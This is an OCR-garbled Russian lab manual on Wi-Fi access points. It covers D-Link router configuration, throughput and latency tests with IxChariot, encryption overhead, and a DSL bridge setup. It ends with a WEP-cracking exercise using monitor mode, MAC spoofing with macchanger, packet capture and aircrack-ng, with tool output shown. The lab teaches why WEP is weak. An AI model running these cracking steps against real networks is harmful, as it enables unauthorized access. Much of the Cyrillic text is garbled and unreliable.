WIRELESS SECURITY MODE

Security Mode - | Dizable Wireless Security (not recommended) " |

Save Settings ][ Don't Save Settings ]

Puc. 50. Bknaaka HacTpoek

B ctpoke Wireless Network Name BBoguMm uMs co3gaBaeMoi OSCIIPOBOJIHOM
cetu. B crpoke Wireless Channel npeniaraercs BoIOpaTh KaHall, HCIIOJb3YEMbIH IS
nepenaun JaHHbX. [1o yMoadaHust BRIOpaH 6 KaHail, HO IIPH HEOOXOAUMOCTH MOYKHO
BLIOpATH JI000M M3 MPEII0KEHHBIX (€CIH TOJILKO Ha TAKOM 3TOM KaHaje He paboTaeT

Jpyras TO4YKa JIOCTyTa).
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B mynkre Wireless security mode Beioupaetcs metoa mudpoBanus qaHHBIX. [1o
YMOJTYaHHMIO 3Ta (YHKIIMS OTKIIOYCHA. B Xome mpoBeneHuUs J1abopaTopHOM pabOThI

NpuacTCAa MCHA MCTO H.IH(prBaHI/I}I. 210 ACIaCTCA CICAYIOIIUM o6pa30M.

WIRELESS SECURITY MODE

Security Mode - | Enable WPAMPAZ Wirelesz Security (enhanced) w
Dizable Wirelezs Security (not recommended)

Enable WEP Wirelezs Security (bazsic)
WPAIWPA2 Enable WPA/WPAZ Wireless Security (enhanced)

WPAMPAZ requires stations to use high grade encryption and authentication.

Cipher Type - | AUTO(TKIP/AES) w
PSK/EAP - | PSK

Metwork Key -
(B~G3 ASCIl or 64 HEX)

Puc. 51. Hactpolika pexxuma mmppoBaHus

W3 BhIajgaroniero CHucka BHIOMpAeTCss HEOOXOJUMBIA METoH IMH(pPOBaHMS.
3arem B ctpoke Network Key Bpogurcs wimrou mmdpoBanus. [Ipu ycTaHOBKH

COEMHEHUS C aIalITEPOM BBOAUTCS ATOT KITIOY.
IIpoBeneHus UCNbITAHUM

OueHka NpoU3BOANTENBHOCTH TOYEK J0CTYNA

JIaHHBIM TECT HANpaBJ€H HAa OLEHKY MPOM3BOIAUTEIBHOCTU HMCIOJIB3YEMBIX B
pabote Touek poctyma D-link DIR-300. Ilox mpon3BOAMTEIHLHOCTHIO B JIAHHOM
ciydyae moHuMaeTcs ckopocth mepenaun mMexay LAN u WAN (BHyTpeHHUM U
BHEILIHUM) MOPTaMH yCTPOMCTBA, T.€. HA CKOJIBKO OBICTPO MMKPOIPOIIECCOP TOUKHU
J0CTyIIa MOKET 00pabaThIBaTh MOTOK JJAHHBIX, TPOXOAAIINNA CKBO3b HETO.

He cmotps Ha TO, 4TO BCE BbITyckaemMoe OOOpYAOBAaHHE COOTBETCTBYET
cranaapty 802.119, peanbHas IpOIMyCKHAs CIIOCOOHOCTD MPHU PabOTE TOUKH JIOCTYTIA C
pa3INYHBIM KIMEHTCKUM 000pYIOBaHHEM OKa3blBaeTcs pa3nudyHou. [IpoexkTupyemast

ceTb Oyner paboTarh C OOJBIIMM YHUCIOM KJIMEHTCKUX aJanTepoB, BBIMTYIICHHBIX
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Pa3IMYHBIMH MPOU3BOJUTENSIMU, IO 3TOMY II€JIeCO00Pa3HO MPOBECTH TECTHUPOBAHUE
TOJIBKO TOYEK AO0CTyna. VIMEHHO TOYKM AOCTyna SIBISIOTCSA CBS3YIOLIUM 3BEHOM
MEXIy MPOBOJHON M OECHPOBOJHOM CETHIO, U MO 3TOMY, JAXKE €CIU KIHUEHTCKOE
00Opy/IOBaHHE MOXXET OO0ECIEeUUTh OOJBIIYI0O CKOPOCTh MEpeaadyd, MaKCHMallbHas
CKOpPOCTb Iepeiauu OyAeT OrpaHMue€Ha UMEHHO BO3MOKHOCTSIMU TOUKH JIOCTYIIA.

Jlna tectupoBaHus Oyner mpumeHsTcs nporpammusbiid maker NetlQ Chariot.
[Taker mpencraBiasieT cOOOM KOHCOJIb YIpPaBJIEHUs (KOTOpash MOYKET HaXOAMThCA Ha
a000M KommbloTepe) U Habop ceHcopoB. [locienHue SBISIOTCS IPOrpaMMaMu,
KOTOpbIE€ YCTAaHABIIMBAIOTCS HAa XOCTAaX-T€HEPATOpax M OCYIIECTBIIAIOT F€HEpaIUio U
MOHMUTOPUHT Tpaduka. CeHCOpbl CYLIECTBYIOT Mo MHOXkecTBO OC, U3 KOTOPBIX HAC
uarepecyer Windows XP SP3. Cxema TecTupoBaHMs IpUBEAcHA Ha pucyHke 6.13. B
MOMEIICHUH, TJI€ MPOBOJUTCA TECTHPOBAHUE, HET O00OpYHOBaHMS pPAOOTAIOLIErO B

muamazone 2.4 I'T'.

Toura gocTyna

IKOMH 1 .1 (< | >>

%—;ﬁ?’: aanTep o

Puc. 52. TecToBbIil CTEHA AJIsI ONIPENETIEHN MAaKCUMAIbHOM IIPOITYCKHOM
CIIOCOOHOCTH.
MeToauka TeCTUPOBAHMS
OcymiecTBisieTcs: nepenada tpaduka, creHepupoBaHHoro mnporpammon NetlQ
Chariot, mexxny y3mamu Kommnl m Komn2. B xome TecTupoBaHusi HampaBlICHHUE
nepeavyrd M KOJIMYECTBO MOTOKOB Tpaduka OyaeT MEHSThCS:
1. Ilepenaua Tpaduxa ot y3ma Compl k y3imy Comp2 ¢ ;JIMHHOM makeTa:
a. ITakeTsr MakcuMaILHOTO pa3mepa (0aiT);

b. ITaketsl pazmepa 512 Gaiir;
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c. Ilaketsl pazmepa 64 Oaiita;

[TpoBenem Hactpoiiky mporpamMMbl NetlQ Chariot. Ha puc. 53 mpencrasieH

uHTep(deiic mporpaMmel.

%% IxChariot Test - untitled.ist

File Edit Wiew Run Tools Window Help

- - - - & |E|TEP SCR EP1 EF2 50 PG PC '@ X

C B/ B ¥ e

Test Setup

Metwork | Service | Script/Stream | Pair Conzole knows | Congale | Congole Endpaint 1 knows | UDP Compli
t1 |Endpoint 2 | Protacal | Quality | Filename Caomment | Endpaint 1 Protacal |Serr. Qual. |Endpaint 2 with RFC7E
< 13
Results are not available for graphing.

Pairs: 0 Status: Stopped Ixia Configuration:

Puc. 53. Unarepdeiic IXChariot

[lepen HauamoMm wu3MepeHUN HEOOXOAMMO YOETUTHCS , YTO Ha KOMIIBIOTEpE
3amyuieHa ciayx0a «Ixia Perfomance Endpoint» (Ilyck -> Hacrtpoiika -> Ilanens

VYmpasnenuss -> AamuHuctpupoBanue -> CmyxObl). 3aTemM 3aluTe B MPOrpaMMy

IXChariot u otkpbeITh OKHO Add an Endpoint Pair.
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'C |xChariot Test - untitled1.tst

File Edit Wew Run Tools Window Help
1
§|€|4_] B oo of epd & |I|TEP SR EP1 EPZ S0 PG PC C D ¥XIXxia
i BPTEE
Test Setup |
MNetwork. | Service | Script/Stream | Pair Conzole knows | Console | Console Endpaint 1 knows | UDP Compli
t1 | Endpoint 2 | Protocaol | Quality | Filename Comment | Endpoint 1 Protocol | Serv. Qual. | Endpoint 2 with RFC7E!

Add an Endpoint Pair,

Pair comment: |

~Endpoint 1 to Endpoint 2 Traffic
Endpoint 1 address I

Endpoint 2 address I

Metwork protocol Service quality
|Tce =l
Edit Thiz Script I
Select Script |
M anagement > > |

Ok I Qancell Help |

Pairs: 0 | Status: Stopped | Ixia Configuration: |

Puc. 54. Oxno Add an Endpoint Pair

B crpoke Endpoint 1 BBoamm I[P aapec kombroTepa ¢ KOTOpOro OyIy

POBOAMTHCS M3MepeHus, B ctpoke Endpoint 2 BBoxutes IP agpec Komrr 2.

Add an Endpoint Pair

Fair comment: |

- Endpaint 1 ta Endpaint 2 Tratfic
Endpoint 1 address |1 92 162.0.100

Endpoint 2 address |fEE

Metwark, protocal Service quality
Tce =~ =l
Edit Thiz Script |
Select Script |
M anagement >3 |

ok I Eancell Help |

Puc. 55. — Beox IP agpecoB TecTupyembIX yCTpOMCTB
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Janee BoiOupaem Select Script u Beioupaem throughput.

Open a Script File

Mank.a: | b Scripts

\d

B Response_Time

L hroughout

B Ilkra_High_Performance_Throughput
B Love_Performance_Throughput

Hrda cakina:
Tun $alinoe:

Application scr
[Throughput]

|Thn:uughput

| IxChariot Script

pt name:

Puc. 56. Boibop ckpunta

HpOI/I3BeI[eM HaCTpOfIKy CKpHIITa IJI1 IIPOBCIACHUA H3MepeHHﬁ C paaanHoﬁ

anuHoM naketa. J{is aroro B moie Size_file ykaspiBaeM HY»HOE YHCIIO.

B Script Editor - Throughput.scr
File Edit Insert Help
|[Thmughput] >{
Line Endpoint 1 Endpaint 2
E receive_buffer = DEFALILT receive_buffer = DEFALILT d
7 LOOP LOopP
a count = number_of_timing_records [100] count = number_of_timing_records [100]
3 START_TIMER J
10 Loar Loor
11 count = tranzactions_per_record [1] count = tranzactions_per_record [1]

12 SEMD

uffer_size [DEFALLT)

type = send_aatatype [MOCOMPRESS)

RECEIVE

uffer = receive_buffer_size [DEFALLT]

_of_timing_records
tranzactions_per_record
file_size
send_buffer_zize
receive_buffer_size
tranzaction_delay
send_datatype
send_data_rate
destination_port

Current Walue

1] 1]
100 100
1 1

100000 100000 Hows many bytes in the transferred file
DEFAULT DEFALILT Hows many bytes of data in each SEMD
DEFAULT DEFALILT Hows many bytes of data in each RECEINVE
u] n] Milizeconds to pauze

NOCOMPRESS MOCOMPRESS  ‘what twpe of data to zend

LUMLIMITED UMLIMITED How fast to send data

AUTO AUTO “wihat port to uze for Endpoint 2

D efault W alue

Comment

Tranzactions per timing recard

Puc. 57. Hactpoiika ckpunra
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Pe3ynbTaTsl U3MEpEHUN.

Throughput
27.400

25-‘DDD _/_V_\/\’_WW

23,000

Mbps

21.000

13,000 T
0:00:45.673 0:01:20 0:01:45.673

Puc. 58. Pa3zmep nakera 1500 Oaiir.

Throughput
25,945

24100 - W\VV«NWM
21,100

18.100 +

w

=
=
=

15,100 +

12,100 +

9.100

E.100 T T T
0:00: 00 0:00:20 0:00: 40 0:01:00  0:01.08

Puc. 59. Pa3zmep nakera 512 Gaidr.

Throughput

23,950
28.000

25.000
e 22,000 -
=
= 19.000
16,000

13.000

10,000 T T T T
0:00:00 0:00:00.7 0:00:01.4 0:00:02.1 o:00:02.5 0:00:03.3

Puc. 60. Pasmep nakera 64 Gaiita.
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[Ipu npoBeaeHUN BCEX TECTOB U3MEPSIIOCH CPEAHEE BPEMsI OTKIIMKA, JJIsL 3TOTO
B TCUYCHUHU BCETO BPEMEHHU TCCTUPOBAHUS C TOMOIIBI0 KOMaHAbI Ping oT k compl k
comp2 mnoceutanuch 3amnpockl. CpegHee BpeMsl OTKIMKOB Ul KaXIOro U3
MIPOBEJICHHBIX TECTOB MPUBEICHO B TabiuIe 9.

Tabnuua 9. Pe3ynbrarbl n3MepeHus: BpeMEHU OTKIIUKA

Ne Ttecra | Bpems oTkinka, mc

1 17
2 16
3 9

O1eHKa HAKJIATHBIX PACX0/I0B CBS3aHHBIX ¢ MU(pPoBaHNEM

[IudppoBanre Kak W3BECTHO, TpPeOyeT 3HAYHUTEIBHBIX BBIYMCICHUH, B
pe3ynpTaTe MajnaeT MPOMYCKHas CIOCOOHOCTh M YBEIMUYMBACTCSA 3aJEP>KKH MPH
nepenadye IMaKeTOB, JAHHBIA TecT OyJIeT HamnpaBlieH Ha OICHKY IPOITYCKHOM
CIIOCOOHOCTH TOYKH JIOCTyNla TPH HUCHOJB30BAHWU PA3JIMYHBIX aJTOPUTMOB
ummdposanus (WEP, TKIP u AES).

MeToauka TeCTUPOBAaHMS

Kak w B mpemsiaynmieM ciiydae MEXIy KOHEYHBIMHU TOYKaMU OyneT
nepechUiaThess  creHepupoBanHbiii  nporpammoit  NetlQ Chariot Tpaduk, Oyner
U3MEPATHCS CKOPOCTh TMepelayd W cpeiHee Bpems OTkiuka. llpu mpoBeneHuu
TECTUPOBaHUSI OyJeM HCIOJIb30BaTh TECTOBBIM CTEHJ M300pakKCHHBIN Ha PHUCYHKE
6.13. UtoObl TIPOBECTH CpPABHUTEIBbHBIM aHAIW3 BIUSHUA IUQPPOBaHUS HaA
MPOIMYCKHYIO CITOCOOHOCTh KaK M B MPEIBbIIYyIIEM TecTe OyeM NepechuiaTh MaKeTh C
pasmepom 1500 u wmcmons3yst [y redeparnuu ckpunt throughput.scr. M3mepenue
CKOpPOCTH TIPOU3BOJUTCS B TEUCHUH 2 MHUHYT.

Hacrpoiika o0opynoBanusi

OcraBnsieM Bce HACTPOWKH CIENIaHHBIE JJIsl MPOBEIEHHs mepBoro Tecta. s
HACTPOWKH TOYKH JIOCTyIa 3axoauM Ha Biianky Wireless Setup u m3meHseM MeTon

G poBaHUs.
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bes mudpoBanus

(not recommended )

WIRELESS SECURITY MODE
curi

Security Mode - | [N

Puc. 61. Hactpoiika MapuipyTuzaTopa AJjisl IpOBEICHU U3MEPEHUN

Throughput

23,300

26.000
23,000 H
20,000 +

Mhps

17.000 4
14,000
00009 00013

11.000 T
0:00:00 0:00:03

Puc. 62. Pe3ynbpTaThl U3MEpEHU B pexxuMe 0e3 mudpoBaHus

WPA/WPA 2 PSK

WPAWPAZ requires stations to use high grade encryption and authentication.

0:00: 0

Cipher Type - | AUTOTKIF/AES) v |

PSK/EAP -

Network Key - |admin1234g]
(3~63 ASCI or 64 HEX)

Puc. 63. Hacrpotiika mapripyrusatopa uist pexkuma mudpoanus WPA/WPA 2 PSK
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Throughput

23,900
26,000
23,000 5
o
£ 20,000 4
= 0
17,000
14,000 5
11,000 T T
:00:00 000:02 0:00:04 0:00:06.3
Puc. 64. Pesynbratel m3mepenunii pexxuma WPA/WPA 2 PSK
AES
WPAIWPAZ
WPAMWPAZ requires stations to use high grade encryption and authentication.
Cipher Type - | 4ES w
FSK/EAF - | PSK
Metwaork Key - |admin12345
(8~63 ASCI or 64 HEX)
Puc. 65. Hacrpoiika mapuipytuzatopa uist pexuma mudpobanus AES
Throughput
31,500
25,000 +
20,000
w
£ 15,000 4
E -
10,000
5,000
D,DDD T T T T T
0000 0:00.07 L0014 0021 00028 0:00:35 0041

Puc. 66. Pe3ynbTaThl usmepenuii B pexxume AES
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Tabnuma 10. Pe3ynbraTtel n3MepeHnst BpeMEHU OTKIINKA

Ne Tecra BpeMH OTKJIMKa, MCCK

bes mudposanus | 9
TKIP 10
AES 13

®parmeHTanus GperMoB

JlaHHBIA SKCIEpPUMEHT HaIpaBJIEH HA OMpPEACNICHHUE 3aBHUCHMOCTH CKOPOCTH
nepeaayur OT JITMHBI MOJISl IaHHBIX B IepelaBaéMOM TaKeTe.

MeToauka TeCTUPOBaHMSA

Kak u B mpenpinymux tectax, Tpadguk creHepupoBaHHbiii mporpammont NetlQ
Chariot, nepecbinaercs Mexay yszinamu Kommnl m Komn2 (puc. 52), mpu stom B
HACTPOMKaX TOYKU U3MEHSACTCS 3HaUCHHE MMoJts TaHHbIX (Fragmentation) B nmuamasone
1500 — 2346 Owut. lM3MmepeHme CKOPOCTH TPOM3BOAUTCA B TEYCHUU 2 MHUHYT,
¢ukcupyercs cpennee 3HaueHue. [lo pesyiabTaTam TeCTUpPOBaHMSI CTPOUTCS Tpaduk

3aBUCUMOCTHU CKOPOCTH Mepcaadr OT AJIMHBI ITOJISA JaHHBIX

Hacrpoiika o0opynoBanus
OcraBnsieM 0Oe3 um3meHeHus: Hactpoiiku IIK, Bblkitoyaem mmdpoBaHue Ha
Toukax. [[7s HACTpOWKHM NJWHBI MOJS JAAHHBIX HEOOXOIUMO TEPEUTH Ha BKIAAKY

Advanced Wireless, B mose Fragmentation BBecTr COOTBETCTBYIOIIIECE 3HAYCHHE.
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ADVANCED WIRELESS SETTINGS

Transmit Power: | 100%
Beacon interval : | 100 (msec, range:20~1000, default:100)
RTS Threshold : |2346  |range: 256~2346, default:2346)
Fragmentation :|2346  |(range: 1500~2346, default 2346, even number only)
DTIM interval ;|1 (range: 1~255, default:1)

Preamble Type : (&) Short Preamble O Long Preamble
CTS Mode:  Mone O Always @ Auto
Wireless Mode | 802.11 Mixedin/gib) w
Band Width : | 20/40 MHz{Auto) |+
Short Guard Interval ;

Puc. 67. HacTpolika IvHbI OJS JaHHBIX IEpeiaBaeMoro gppeiima
Pesynprarel TecTupoBaHus

Throughput
23.650
22,000 H

20,000
18.000

Mhps

16.000
14,000
12.000

10,000 ¥ ¥ T
(:00:00 0:00:00.9 0:00:01.8 0:00:02.7 0:00:03.0

Puc. 68. JInuaa mons ganaeix 1500 Out
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Throughput

21,560

19,800

[in}
= 15,800
=

13,800

11,200

9.800 ¥ i T v
0:00:00 0:00:02 0:00:04 0:00:08 0:00:08  0:00:081

Puc. 69. nimunaa nois ganaex 2000 ouT

Throughput

29,300

26.000 +

23,000

bhps

20,000 +
17.000

14,000 +

11,000 i T ¥ T
0:00:00 0:00:02 0:00:04 0:00:06 0:00:03 0:00:09.4

Puc. 70. nnmvHa moss na"nubix 2346 out

OuneHka B3aUMHOI0 BJIUSAHUS TOYEK PA0OTAIOIIUX HA OJJTHOM KaHaJie

OrneHka B3aMMHOTO BJIMSIHUSI TOUEK PabOTAIOIIMX HA OJJHOM KaHaje. TecTOBbIH
cTeH u3oopaxkeH Ha Puc.2. Touku goctymna nepeBoAsSTCS Ha OJUH YaCTOTHBIA KaHa,
B TEPBbIA clyyae. Mexny ysmamu compl wu comp2, comp3 u comp4
OCYILIECTRIIsIETCA Tiepeaada Tpaduka creHeHpupoBaHoro nporpammoit NetlQQ Chariot.
[Ipu TecTupoBaHUU PACCTOSAHUE MEXKY TOUKOM 1 M TOUKOM 2 M3MEHsETCs B Ipeeiax
ot 1 go 30 meTpoB. Jlist Kaxa0ro U3 BEIOPAHHBIX 3HAUYECHUN paccTtosHus L, nms naper
y3JI0B COMP1 u COMP2 u3MepsieTcs CpelHee 3HAYCHUE CKOPOCTH Nepeavn, BpEMEHU

OTKJIMKA, KOJIMYCCTBO ITOTCPAHHBIX ITAKCTOB B TCUCHUHU 5 MUHYT.
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Hacrpoiika DSL-2640U na paboty B pexxume Bridging (pexum mpo3padyHoro MocTa).
1. B pasnene «Advanced Setup» BbiOepuTe NyHKT «WANY», U HaXMUTE KHOIKY

«Add» mis co3maHns HOBOrO COEIUHEHMS.

Device Info Wide Area Network (WA") Setup

|_Advanced Setup | Choose Add, Edtt, or Remove to configure WAN interfaces.
Choose Save/Reboot to apply the changes and reboot the system.

LAN

NAT

Security [ Remove | [ Save/Reboot |

Parental Control

Quality of Service

Routing

DNS

DSL

Pptp

Interface Group

IPSec

Certificate
Wireless
Diagnostics
Management

| Port/Vpi/Vci | VLAN Mux | Con. ID | Category | Service | Interface | Protocol | Igmp QoS | state | Remove | Edit |

Puc. 71. Co3nanuie HOBOrO COETMHEHUS
2. Ha mosBuBIIEHCs cTpaHulie ykakute 3HaueHus napametpoB VPI u VCI (3Hauenus

JAHHBIX TAPAMETPOB MPEAOCTABIIAIOTCS MPOBAIepOoM) U HaxMuTe KHONKY «NEXT».
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ATM PVC Configuration

This screen alows you to configure an ATM PVC identifier (PORT and VPI and VCI) and select a service category. Otherwise choose an existing interface by selecting the checkbox to
enable &,

poRt:[03) [0 |

(@reems )

VLAN Mux - Enable Mukipls Protocols Over a Single PVC [F]

Senvce Category{ UBR WithoutPCR

Enable Quality Of Service

Enablng packet level QoS for a PVC mproves performance for selected casses of appications. QoS cannot be set for CBR and Realtima VBR. QoS consumes system resources;
therefore the number of PVCs wil be reduced. Use Advanced Setup/Quality of Service to assign prioses for the applcations.

Enable Qualky Of Senvice 7]

) e
Puc. 72. 3uauenue VPI u VCI

3. Ha cnenyromeit crpanune B pasaene Connection Type ycranoBute «Bridging» u

HaXMUTE KHONIKY «NEXT».

Device Info Connection Type
A?z::ced Sethp Select the type of network protocol for IP over Ethernet as WAN interface
LA © PPP over ATM (PPPoA)
NAT
Security © PPP over Ethemet (PPPoE)
Parental Control ® i —
Quality of Service MAC Encapsulation Routing (MER)
Routing © 1P over ATM (IPoA)
DNS
Pptp
Interface Group Encapsulation Mode
IPSec [LLC/SNAP-BRIDGING ~
Certificate
Wireless
Diagnostics
Management

Puc. 73. YcraHoBKa pexum MocTa.
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4. Ha cnenyromei cTpaHULE OCTaBbTE€ BCE HACTPOMKH MO YMOJIYAHHUIO M HAXKMUTE

KHONIKY «NEXT».

Unselect the check box below to disable this WAN service

Enable Bridge Service:

Service Name: Ibr_0_8_35 I

Puc. 74. CozmaeMm numsa Mocta

5. Ha cnenyroieit cTpaHMIE HAKMUTE KHOIIKY «Savey.

WAN Setup - Summary

Make sure that the settings below match the settings provided by your ISP.

|PORT /VPI / VCE: [0/ 0/ 35
lConnection Type: 1Brndge

|Service Name:  |br_0_8_35
[Service Category: ! UBR

‘IP Address: ! Not Applicable
‘Service State: {Enab!ed
’NAT: [Dtsabled

’ Firewall: [Dtsabled

|I6MP Multicast: | ot Applicable
’Quality Of Service: {Dlsabled

Click "Save" to save these settings. Click "Back” to make any modifications.
NOTE: You need to reboot to activate this WAN interface and further configure services over this interface.

Puc. 75. IIpoBepka HacTpoek
6. Ilocne Haxkatust KHOMKU «Savey mepedauTe Ha crpaHuny «Advanced Setup» >
«WANy», rne yBuaute co3ganHoe Bridge coenunenmne. Haxmure KHOMKY

«Save/Reboot» a1t npruMeHeHus mapaMeTpoB U TIepe3arpy3ku yCTponCTBa.
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Wide Area Network (WAN) Setup

Choose Add, Edit, or Remove to configure WAN interfaces.
Choose Save/Reboot to apply the changes and reboot the system.

Port/Vpi/Vd | VLAN Mux  Con. ID Category‘ Service | Interface Protocoljlgmp QoS | State |Remove Edit

0/0/35 off 1 UBR |br_0_8_35|nas_0_0_35| Bridge | N/A |Disabled |Enabled | [ Edtt )

(Add] [_Remove |€ Save/Reboot_D

Puc. 76. Ilepe3arpy3ka ycTpoicTBa

7. llepe3arpyska ycTpoucTBa

DSL Router Reboot

The DSL Router has been confiqured and & rebooting,

Close the DSL Router Configuration window and wat for 2 minutes before reapening your web browser, I necessary, reconfigure your PC' IP address to match your new
configuration,

Puc. 77. OxoHuaHHe HACTPOUKHU

Ha sTom HacTpolika ycTpolcTBa 3aKOHUEHA.

Ha o6enx Toukax BbeIKIIOuaeTcs mudpoBanue Tpapuka. TOUKM epeBOASTCS Ha
paboTy B IEPBBIA YaCTOTHBIN KaHaI. Toukam HazHavaroTcs pasHeie SIDD, Touka onux
umeetr SIDD «dlink», Touka 2 «dlink2». Y3mam compl u comp2, comp3 u comp4
HA3HAYAIOTCSl ajpeca W3 OAHOW TOJCETH, KOH(MUTYPUPYETCs TECT, MO aHAJIOTUU C
OpEeAbIAYIIMMA ~ TECTaMU  JUIsl  TeHepaluu  Tpaduka HUCHONb3YyeTCsl  CKPUIT
throughput.scr, pasmMep makera MakcuMMajcH. V3HayalbHO TOYKH YAAJICHHBI APYT OT
apyra Ha paccrosaue 30 merpoB, ¢ mnomoripio mporpammbl  Netstumbler 4.0,

YCTAaHOBJICHHOW Ha y3Jie COMP2 OCYLIECTBIISIETCS KOHTPOJIb 32 YPOBHEM CHUTHAJIA.

192
255



PGSYJIBTaTBI TCCTUPOBAHUA

Ta6muna 11. Pe3ynbpTaTel n3MepeHus

Paccrosinue wMexnay | CkopocThb Cpennee Bpewms | KonnuecTBo

Toukamu L, m nepeaadn OTKJIMKA, MC MOTEPSIHHBIX ITAKETOB,
Mo6ut/c %

Touka No2 | 45 12 0

BBIKJTIOUCHA

30 43 12 0

20 36 13 0

15 32 13 0.01

10 31 14 0.05

8 30.5 15 0.1

5 30.5 15 0.6

3 29.5 18 1.5

1 30 23 3

Kak u oxxuaanoch 00e TOUKH COXpaHWIN PabOTOCIIOCOOHOCTh, HE CMOTPSI HA TO
YTO HAXOJIUJIMCh B HEMOCPECTBEHHON OJIM30CTU APYT OT Apyra. Mcnonbs3yeMblit asis
MPEJOTBPAICHUS KOJUIU3UM MEXAaHU3M PACHPE/ICICHHOW KOOPJWHAIIMU 3acTaBiiseT
TOYKM KOHKYpPUpPOBaTh 3a Cpedy, HNpedoTBpamias TeM CaMbIM OJHOBPEMEHHYIO
nepenayy gpeiiMoB 000MMU TOUKAMH.

[lepen mpoBeaeHUEM IKCIIEPUMEHTA 5 MOJIaraji 4To CKOPOCTh MEpeaaun T0KHA
Oblma cHU3UTCS Oosiee yeM Ha 50% mpu pasMenieHuH TOYeK B HEMOCPEACTBEHHOM
omm3octu. OgHako HaOII0AIOCh YMEHbIIeHne ckopoctu Bcero Ha 30%. IIpu stom
CKOPOCTh Tepedaud MeXAy y3iamu COmp3 um comp4d pasusiace 28-30 Mowut/c.
CymMapHasi CKOpOCTb JIBYX CHUCTEM pabOTaroONUX Ha OJJHOM KaHajie OKa3ajlach paBHOM
58-60 MobwuT/c, yero B mMpUHIUIIE HE MOTJIO OBITh. UTOOBI OOBSCHUTH MPOUCXOASIIEE
OBLT JCTAJIBHO WCCIEAOBAH TPOIECC BKIIOYEHHS ToueK. [Ipw BKIIOUEHHUH BTOPOM

TOYKM (mepBasi paboTana) CKOPOCTh Tepefadd MEXIy y3iaamMmu CoOmp3 u compd
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cocTaBisuia okono 5-8 Mowut/c, gepes 8-10 cexkyHa ckopocTs Bo3pacTtana 10 28-30
Mo6urt/c. IIpu 3anmycke ceteBoro ckanepa Netstumbler 4.0 oka3zanack 4To TOUKa HOMEP
JIBa UCTOJIB3YET IO NMEPEMEHHO HECKOJIBKO KaHAIOB pUCYHOK 15.19. B Touku D-Link
Dir - 320 Bctpoena yrunmra AutoCell koTopast crmiocoOHa aBTOMaTHYeCKH BHIOUPATH
HE 3aHATHIC KaHAJBI MMOACTPAaUBATh MOIIHOCTh TEepeAaTiynka, OHA OTKIIOUYEHa, HO TIPH

KOH(l)J'H/IKTaX CaMOCTOATCIIBHO aKTUBUPYCTCA.

[l
@ Fle Edt View Device Window Help |8 x|
DEEPH¢E © 58
---[‘ﬂ']] MAC |Name |Ehan |Speed |Vendnr |Type | Enc...| SHAR
- 53Ds QuerFen ik 673 Wb (e 4P
o7 Files Qoersr k) & s sk AP

Puc. 78. Bnusgnaue Touek gocrymna

B3aom kiaroueit mudposanus nias cranaapra IEEE 802.11

Ipoldbs0EBATEIR

aganTet

Toura goocTvoa

<<!>>

amanTep

Puc. 79. TecToBbIii CTEH] AJ1 IPOBEPKU METOI0B MIM(POBAHUS
Hactpoum Touky moctymna Ha pexuM mudpoBaHUs KaK MOKa3aHO B MYHKTE 7.
3aTeM mpou3BeieM MOAKIIOUCHHE alanTepa K HallleMy KOMITBIOTEPY.
1. Tonyuenus wmoua WEP mmdposanus. Jns mpoBeaeHus gaHHOTO poja

aTaku HEOOXOIUMO:
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a. IlepeBectn amanrep B peKMM MOHUTOPHUHIA

Interface Chipset Driver

Broadcom b43 - [phy0]
(monitor mode enabled on monl)
Broadcom b43 - [phy0]

Puc. 80. IlepeBon ananTepa B pe:KMM MOHUTOPHUHTA

b. 3amenuts MAC-aapec amantepa (3TO JAelIaeTcsi A TOrO YTOOBI

MOKa3aTh YTO JIaHHAsl CXeMa 3allUThI He sBisgeTcs 3 (HEeKTUBHON)

root@dlink -01 :~# macchanger --mac 00:11:
Current MAC: 00:11:22:33:44:55 (Cimsys Inc)

Faked MAC: 00:11:22:33:44:55 (Cimsys Inc)
It's the same MAC!!

Puc. 81. 3amena MAC anpeca

3aTeM noMeHsIeM MAC-&I{pCC HalIero agarrepa. Hy}i(HO 9TO OJIsA TOT'O, YTO
OBI IIOKa3aThb, YTO JaHHAasA CXCMa 3alllUThI, T.C IIPHUBA3KA IIO MAC-az[pecy YXKC

HE sBJIAETCS PYHKIMEHN 3alUTHI.
. Ilpoussectu nouck cetu ¢ mudppoBanue ganHbix WEP

[Tocne Toro xak Mbl IpojAeail JaHHYIO pabOTy MOXHO HMPUCTYNHUTh K MOUCKY
cetH ¢ mudpoBanueM gaHHbIX WEP. {7151 3TOro B onepanuoHHON cUCTEME.

CH 5 ][ Elapsed: 16 s ][ 2009-11-09 14:38
BSSID PWR Beacons  #Data, #/s CH MB ENC CIPHER AUTH ESSID

) 00:90:4C:C1:00:00 -44 86 0 4 54 WEP WEP dlink

BSSID STATION PWR Rate Lost Packets Probes
00:90:4C:C1:00:00 OO:E0:46:4C:01:40 -39 0 -54 0 1

Puc. 82. Ilouck cetu
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d. IIpowmssectn Habop makeToB or 10000 mo 25000 (3T0 HEOOXOAUMO IS
JAbHEHINET0 aHalu3a MaKETOB M IOJIyYCHHUS KJIH0Ya) U MPHU MTOMOIIH

nporpaMMsl aircrack-ng npoussectr moI00p KiIr0va

CH 4 ][ Elapsed: 7 mins ][ 2009-11-09 15:04

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPH
P0:90:4C:C1:00:00 -54 100 4661 26456 143 4 54 WEP WEP
BSSID STATION PWR  Rate Lost Packets Pr

00:90:4C:C1:00:00 00:E0:46:4C:01:40 -47 54 -54

Puc. 83. Coop makeroB

Jnst ocymiecTBiIeHHs MO00pa Kiro4a HaMm JoctatouHo HabpaTts ot 10 000 mo
25 000 makeroB. JIoAaBIIUCH HY’)KHOTO KOJUYECTBA MTAKETOB, MOYKHO ITPHUOCTAHOBUTD
3aIlUCh U TIPUCTYIUTH K repedopy maposis. [Iporpamma aircrack-ng npemHaznadeHHast
JUISL B3JIOMa KIIIOYeW mu@poBaHus, KOTOpas nepedupaeT KOMOMHAIUU JO TOTO
MOMEHTA, [I0Ka KOHEYHasi CyMMa HE COBMHaAET. Tak K€ OHa HUCMOJIb3YyeT €Ile OJUH
METO/, O9TO TOA0Op IO CJIOBAapI0, HO TEPBBIM METOJ CUHMTAaeTCcs Haubosee

3 PEKTUBHBIM U OBICTPHIM.

Aircrack-ng 1.0 rc3 rl1552

[00:00:06] Tested 80654 keys (got 26464 IVs)

depth  byte(vote)
0/ 15 C2(35072) A2(33280) E9(33280) 22(32512) B3(32512)
3/ 24 0B(32512) 4F(32256) 5F(32000) 9D(32000) EO(31488)

50/ 57  1A(28928) 0D(28672) 4B(28672) 50(28672) 5C(28672)

(
(
0/ 2 FA(36864) B2(34048) E0(32256) F7(31744) FD(31744)
(
